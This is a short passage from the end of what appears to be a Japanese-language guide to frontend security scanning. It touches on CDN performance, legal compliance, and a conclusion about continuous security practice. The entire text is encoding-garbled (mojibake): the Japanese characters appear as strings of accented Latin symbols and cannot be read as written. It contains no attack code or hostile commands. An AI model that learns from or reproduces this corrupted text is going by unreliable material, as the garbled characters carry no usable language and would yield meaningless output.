- ããã©ãŒãã³ã¹ïŒããŸããŸãªå°åã§ã®ããã©ãŒãã³ã¹ã®ããã«ã¢ããªã±ãŒã·ã§ã³ãæé©åããŸããã³ã³ãã³ãããªããªãŒãããã¯ãŒã¯ïŒCDNïŒã䜿çšããŠãã¢ããªã±ãŒã·ã§ã³ã®ã¢ã»ããããŠãŒã¶ãŒã®è¿ãã«ãã£ãã·ã¥ããŸãã
- æ³çã³ã³ãã©ã€ã¢ã³ã¹ïŒã¢ããªã±ãŒã·ã§ã³ã䜿çšããããã¹ãŠã®åœã§é©çšããããã¹ãŠã®æ³åŸããã³èŠå¶ã«æºæ ããŠããããšã確èªããŸããããã«ã¯ãããŒã¿ãã©ã€ãã·ãŒæ³ãã¢ã¯ã»ã·ããªãã£æ³ãç¥çè²¡ç£æ³ãå«ãŸããŸãã
çµè«
ããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã¯ãå®å šãªWebã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ããããã®äžå¯æ¬ ãªéšåã§ããéçºã©ã€ããµã€ã¯ã«ã«ã»ãã¥ãªãã£ã¹ãã£ã³ãçµã¿èŸŒãããšã§ãè匱æ§ãæ»æè ã«ãã£ãŠæªçšãããåã«ãç©æ¥µçã«ç¹å®ã察åŠããããšãã§ããŸãããã®ã¬ã€ãã§ã¯ãããã³ããšã³ãã»ãã¥ãªãã£ã¹ãã£ã³ã®ææ³ãä¿®æ£æŠç¥ããã¹ããã©ã¯ãã£ã¹ã«ã€ããŠå æ¬çãªæŠèŠãæäŸããŸããããããã®æšå¥šäºé ã«åŸãããšã§ãã°ããŒãã«ãªç°å¢ã«ãããŠãŠãŒã¶ãŒãããŒã¿ããã©ã³ãã®è©å€ãä¿è·ãããããå®å šã§å埩åã®ããWebã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ã§ããŸãã
ã»ãã¥ãªãã£ã¯äžåºŠããã®ã€ãã³ãã§ã¯ãªããç¶ç¶çãªããã»ã¹ã§ããããšãå¿ããªãã§ãã ãããã¢ããªã±ãŒã·ã§ã³ã®è匱æ§ãç¶ç¶çã«ç£èŠããé²åããè åšã«å ãããããã«ã»ãã¥ãªãã£ãã©ã¯ãã£ã¹ãé©å¿ãããŠãã ãããããã³ããšã³ãã®ã»ãã¥ãªãã£ãåªå ããããšã§ãäžçäžã®ãŠãŒã¶ãŒã«ãšã£ãŠããå®å šã§ä¿¡é Œæ§ã®é«ããªã³ã©ã€ã³äœéšãåµé ããããšãã§ããŸãã